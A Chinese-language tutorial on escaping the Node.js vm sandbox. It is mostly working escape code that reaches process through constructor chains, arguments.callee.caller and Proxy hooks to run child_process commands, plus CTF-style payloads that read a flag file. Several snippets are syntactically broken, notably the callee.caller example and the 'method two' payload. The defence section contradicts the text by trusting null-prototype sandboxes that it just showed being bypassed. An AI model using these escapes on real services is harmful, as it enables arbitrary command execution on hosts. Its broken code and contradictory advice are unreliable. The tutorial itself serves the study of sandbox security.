NodeJs vm沙箱逃逸
字数 1455 2025-08-23 18:31:34
Node.js VM 沙箱逃逸全面指南
1. Node.js VM 模块基础
1.1 沙箱基本概念
沙箱是一种安全机制,为运行中的程序提供隔离环境,主要用于运行来源不可信、具有破坏性或意图不明的程序。
Node.js 提供了 vm 模块来创建隔离环境运行不受信任的代码,但官方不推荐使用 vm 模块,因为存在逃逸风险。
1.2 VM 模块核心方法
1.2.1 vm.createContext([sandbox])
- 使用前需要先创建沙箱对象
- 如果没有提供 sandbox 参数,会生成一个空的沙箱对象
- V8 引擎为沙箱对象在当前 global 外创建新作用域
- 沙箱内部无法访问 global 中的属性
1.2.2 vm.runInThisContext(code)
- 在当前 global 下创建作用域(sandbox)
- 将接收到的参数作为代码运行
- 可以访问 global 上的全局变量,但无法访问自定义变量
const vm = require('vm');
sx = {'name': 'chiling', 'age': 18}
context = vm.createContext(sx)
const result = vm.runInThisContext(`process.mainModule.require('child_process').exec('calc')`, context);
console.log(result)
1.2.3 vm.runInContext(code, contextifiedSandbox[, options])
- 参数为要执行的代码和创建完作用域的沙箱对象
- 代码会在传入的沙箱对象的上下文中执行
- 需要与
createContext配合使用
const vm = require("vm");
const sandbox = {x: 2};
vm.createContext(sandbox);
const code = 'this.toString.constructor("return process")();';
const res = vm.runInContext(code, sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));
1.2.4 vm.runInNewContext
- 效果相当于
createContext和runInContext的组合 - 可以提供 context 也可以不提供,不提供则默认生成一个
const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res = vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));
2. 沙箱逃逸原理与技术
2.1 基础逃逸方法
2.1.1 通过原型链逃逸
const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res = vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));
原理分析:
this指向 Context- 通过原型链可以拿到
Function构造函数 - 通过
Function可以获取process对象 - 通过
process可以调用child_process执行命令
2.1.2 通过沙箱内对象逃逸
const vm = require("vm");
const sandbox = {x: []};
vm.createContext(sandbox);
const res = vm.runInNewContext('x.constructor.constructor("return process")()', sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));
注意:数字、字符串、布尔等 primitive 类型无法使用此方法,因为它们是传值而非传引用。
2.2 绕过 Object.create(null) 的限制
当沙箱原型对象设置为 null 时,this.constructor 无法获取对象:
const vm = require("vm");
const sandbox = Object.create(null);
vm.createContext(sandbox);
const code = "this.constructor.constructor('return process')().env";
console.log(vm.runInContext(code, sandbox)); // 报错
2.2.1 使用 arguments.callee.caller 绕过
arguments.callee 是正在执行的 Function 对象,arguments.callee.caller 是调用当前函数的外层函数。
const vm = require('vm');
const func = `(
const a = {}
a.toString = function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').exec('calc').toString()
}
return a
)()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
console.log("" + res); // 触发 toString()
2.3 使用 Proxy 进行属性劫持
2.3.1 使用 get 钩子
const vm = require("vm");
const script = `new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').exec('calc');
}
})`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc); // 访问任意属性触发
2.3.2 使用 set 钩子
const vm = require("vm");
const func = `new Proxy({}, {
set: function(my,key, value) {
(value.constructor.constructor('return process'))()
.mainModule.require('child_process')
.execSync('calc').toString()
}
})`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
res[''] = {}; // 设置属性触发
3. 实际案例分析
3.1 示例应用代码
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const app = express();
const config = {}
app.use(bodyParser.json());
app.post('/:lib/:f', (req, res) => {
let jsonlib = require(req.params.lib);
let valid = jsonlib[req.params.f](req.body);
let p;
if(config.p){
p = config.p;
}
let data = fs.readFileSync(p).toString();
res.send({
"validator": valid,
"data": data,
"msg": "data is corrupted"
})
});
const PORT = 3000;
app.listen(PORT, ()=>{
console.log(`Server is running on port ${PORT}`);
});
3.2 攻击方法
方法一:直接读取 flag
require('fs').readFileSync('./flag').toString()
方法二:利用 vm 沙箱逃逸
require('vm').vm.runInNewContext(
['this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('./flag').toString()']
)
4. 防御建议
- 避免使用 Node.js 的
vm模块处理不受信任的代码 - 考虑使用更安全的替代方案如
vm2模块 - 如果必须使用
vm,确保沙箱对象原型为null - 禁用危险的内置对象和方法
- 严格限制沙箱内代码的执行权限
5. 总结
Node.js 的 vm 模块虽然提供了沙箱环境,但由于 JavaScript 的动态特性,存在多种逃逸方法。攻击者可以通过原型链、arguments.callee.caller 或 Proxy 等方式突破沙箱限制,获取 process 对象并执行任意命令。在实际开发中,应谨慎使用 vm 模块,或选择更安全的替代方案。